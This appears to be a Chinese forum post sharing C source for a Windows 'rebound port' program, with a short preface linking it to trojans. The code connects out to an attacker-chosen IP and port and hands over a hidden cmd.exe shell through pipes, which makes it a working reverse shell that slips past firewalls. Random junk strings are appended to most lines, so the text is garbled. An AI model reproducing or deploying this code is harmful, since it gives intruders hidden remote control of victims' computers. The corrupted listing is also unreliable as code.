Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 HHsmLo c4  
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/* ============================== 5XBH$&Td  
Rebound port in Windows NT TRq6NB  
By wind,2006/7 yz8jw:d^-  
===============================*/ v_-dx  
#include c0u^zH<  
#include 8X|-rM{  
H_Q+&9^/  
#pragma comment(lib,"wsock32.lib") 0"bcdG<}  
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void OutputShell(); w`zTR0`  
SOCKET sClient; [hj6N*4y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CzEd8jeh7  
sLAQE64\"  
void main(int argc,char **argv) _aT5jR=  
{ E~oOKQ5W  
WSADATA stWsaData; Y0-n\|  
int nRet; @I!0-OjL  
SOCKADDR_IN stSaiClient,stSaiServer; )Z9>$V$j  
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if(argc != 3) N<injx  
{ e**qF=HCw  
printf("Useage:\n\rRebound DestIP DestPort\n"); [HZv8HU|  
return; 6,{$J  
} Q$Q([Au  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6~w@PRy  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,nDaqQ-C!!  
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stSaiClient.sin_family = AF_INET; O@C@eW#  
stSaiClient.sin_port = htons(0); E=!\z%4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .OY`Z)SS%  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g7W"  
{ |8tilOqI  
printf("Bind Socket Failed!\n"); V33T+P~j  
return; FQ5U$x.[P  
} wDe& 1(T^  
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stSaiServer.sin_family = AF_INET; q5)O%l!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :&9s,l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DlMW(4(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x+@rg];m  
{ N5b!.B x-w  
printf("Connect Error!"); Ej8^Zg  
return; DN57p!z
 
} o
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OutputShell(); &FN.:_E  
} ckE-",G  
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void OutputShell() 8c^TT&  
{ rCdu0 gYT  
char szBuff[1024]; b2&0Hx  
SECURITY_ATTRIBUTES stSecurityAttributes; vnZC,J `  
OSVERSIONINFO stOsversionInfo; U|Ta4W`k\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [:SWi1cK2  
STARTUPINFO stStartupInfo; <lE<f+  
char *szShell; ]|PiF+  
PROCESS_INFORMATION stProcessInformation; _^%,x  
unsigned long lBytesRead; n]o<S+z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q6V>zi  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vuY~_  
stSecurityAttributes.lpSecurityDescriptor = 0; 5uj?#)N  
stSecurityAttributes.bInheritHandle = TRUE; );&:9[b_  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l?n\i]
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JO6)-U$7UG  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,M ^<CJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1ztG;\  
stStartupInfo.wShowWindow = SW_HIDE; :(*V?WI  
stStartupInfo.hStdInput = hReadPipe; K:#I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a'yK~;+_9  
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GetVersionEx(&stOsversionInfo); dk4CpN  
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switch(stOsversionInfo.dwPlatformId) o9yJf#-En  
{ dn$!&
  
case 1: w-L=LWL\  
szShell = "command.com"; PmEsN&YP]  
break; 3kp+<$  
default: 6) [H?Q  
szShell = "cmd.exe"; XrGglBIV  
break; V#gK$uv  
} gu.}M:u  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @>2i+)=E5  
hH8oyIC  
send(sClient,szMsg,77,0); 
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while(1) ['tY4$L(  
{ 4*cEag   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w;:*P  
if(lBytesRead) }-2 2XYh  
{ nBSYsp{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tpQ(g%  
send(sClient,szBuff,lBytesRead,0); YWO)HsjP  
} bI9~jWgGp  
else TpwkD_fg  
{ 
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lBytesRead=recv(sClient,szBuff,1024,0); ~[nSXnPO  
if(lBytesRead<=0) break; 1FL~ndJs  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ad9}9!<  
} T<Z &kYU:R  
} W/bQd)Jvk  
}?_?V&K|  
return; 4-y:/8  
}